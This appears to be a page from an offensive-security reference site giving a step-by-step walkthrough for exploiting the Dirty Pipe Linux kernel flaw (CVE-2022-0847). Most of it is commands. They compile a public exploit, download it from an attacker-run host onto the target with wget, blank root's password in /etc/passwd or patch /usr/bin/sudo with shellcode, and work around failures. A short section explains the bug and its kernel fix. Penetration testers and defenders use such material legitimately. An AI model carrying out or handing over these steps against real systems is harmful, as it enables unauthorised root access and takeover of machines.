# Dirty Pipe (CVE-2022-0847) – Linux Kernel Privilege Escalation

> Exploits Linux kernel pipe buffer flaw (CVE-2022-0847) to overwrite read-only files and escalate privileges to root on kernels 5.8–5.16.11.

- **URL:** https://hackindex.io/platforms/linux/privilege-escalation/dirty-pipe-cve-2022-0847
- **Path:** Linux > Privilege Escalation
- **Up:** [Privilege Escalation](https://hackindex.io/platforms/linux/privilege-escalation.md)
- **Published:** 2026-03-14
- **Updated:** 2026-07-10

Dirty Pipe is a logic bug in the Linux kernel's pipe buffer handling. Page cache pages can be marked as writable even for read-only file-backed mappings, allowing any unprivileged user to overwrite the contents of read-only files: including SUID binaries and `/etc/passwd`. It is one of the most reliable kernel exploits available: no memory corruption, no ASLR bypass needed, and it does not crash the system.

## Affected Versions

- Linux kernel 5.8.0 through 5.16.10
- Linux kernel 5.15.0 through 5.15.24
- Linux kernel 5.10.0 through 5.10.101

**Not affected:** kernels below 5.8 (pipe buffer splicing introduced in 5.8), kernels 5.16.11+, 5.15.25+, 5.10.102+.

## Prerequisites Check

Check kernel version:

```bash
uname -r
```

Confirm you are in the vulnerable range. Also confirm the build date: if the kernel was built recently it may be backport-patched:

```bash
uname -v
cat /proc/version
```

On Debian/Ubuntu, check the exact package version:

```bash
dpkg -l linux-image-$(uname -r) 2>/dev/null | grep ^ii
cat /proc/version_signature 2>/dev/null
```

Confirm there is at least one readable file on the system (any non-empty file works: the exploit needs an existing page cache entry):

```bash
ls -la /etc/passwd
```

No special privileges, group memberships, or capabilities required. Any local user account works.

## Exploit 1: Overwrite /etc/passwd (Recommended)

This variant modifies `/etc/passwd` to create a passwordless root account. Extremely stable: pure file write, no shellcode.

**Step 1: Get the exploit:**

```bash
# On attack box
git clone https://github.com/AlexisAhmed/CVE-2022-0847-DirtyPipe-Exploits
cd CVE-2022-0847-DirtyPipe-Exploits
gcc -o exploit-1 exploit-1.c

# Transfer to target
python3 -m http.server 8080
```

```bash
# On target
wget http://$LHOST:8080/exploit-1
chmod +x exploit-1
```

**Step 2: Run the exploit:**

```bash
./exploit-1
```

The exploit:

1. Reads the first line of `/etc/passwd` into a pipe
2. Overwrites the `x` password placeholder with a blank entry
3. Executes `su root`: root now has no password

**Step 3: Authenticate as root:**

```bash
su root
# Press Enter at the password prompt
whoami
```

**Step 4: Restore /etc/passwd:**

The exploit attempts automatic restoration, but verify the file is intact:

```bash
head -1 /etc/passwd
# Should show: root:x:0:0:root:/root:/bin/bash
# If blank password remains: root::0:0:root:/root:/bin/bash
```

If the password hash was corrupted, restore from backup:

```bash
cat /etc/passwd | head -1
# Restore the x manually if needed
sed -i 's/^root::/root:x:/' /etc/passwd
```

## Exploit 2: Overwrite SUID Binary

This variant overwrites a SUID binary with a shellcode payload. Useful when `/etc/passwd` modification is not sufficient or when you need a persistent binary.

```bash
# Compile
gcc -o exploit-2 exploit-2.c

# Transfer to target
# On target
./exploit-2 /usr/bin/sudo
```

The exploit patches `/usr/bin/sudo` with shellcode that spawns a root shell. Execute the patched binary:

```bash
/usr/bin/sudo
```

You get a root shell. The exploit attempts to restore the original binary after execution: verify it was restored:

```bash
md5sum /usr/bin/sudo
# Compare against known good hash or reinstall
```

## Compile from Source (No git Required)

When git is unavailable on your attack box or you want to compile a single file:

```bash
# Download single source file
wget https://raw.githubusercontent.com/AlexisAhmed/CVE-2022-0847-DirtyPipe-Exploits/main/exploit-1.c

# Compile
gcc -o exploit-1 exploit-1.c
```

## When the Exploit Fails

**"Segmentation fault" immediately:** The kernel version is not in the vulnerable range or is backport-patched. Check `uname -v` for build date.

`su root`** fails after exploit:** The exploit ran but the system uses shadow-only authentication. Try writing to `/etc/shadow` instead using the same technique: compile a variant that targets shadow.

**"Permission denied" when running the binary:** Confirm the file is executable: `chmod +x exploit-1`.

**Compile error on target (no gcc):** Compile on your attack box targeting the same architecture, then transfer the binary.

## How Dirty Pipe CVE-2022-0847 Works

Pipes in Linux use splice operations to move data between file descriptors without copying. A bug in the pipe buffer's flags handling allowed the `PIPE_BUF_FLAG_CAN_MERGE` flag to persist across splice operations, causing subsequent pipe writes to overwrite the cached page of a read-only file. The kernel patches this by clearing the flag in `copy_page_to_iter_pipe()` and `push_pipe()`.

## References

- [Dirty Pipe ](https://dirtypipe.cm4all.com/) - Original Disclosure (Max Kellermann) Full technical write-up by the discoverer including proof-of-concept and root cause analysis.
- [CVE-2022-0847 Exploits](https://github.com/AlexisAhmed/CVE-2022-0847-DirtyPipe-Exploits) - AlexisAhmed Two exploit variants: /etc/passwd overwrite and SUID binary patching.
- [CVE-2022-0847](https://access.redhat.com/security/cve/CVE-2022-0847) - Red Hat Advisory Affected package versions and patch information per distribution.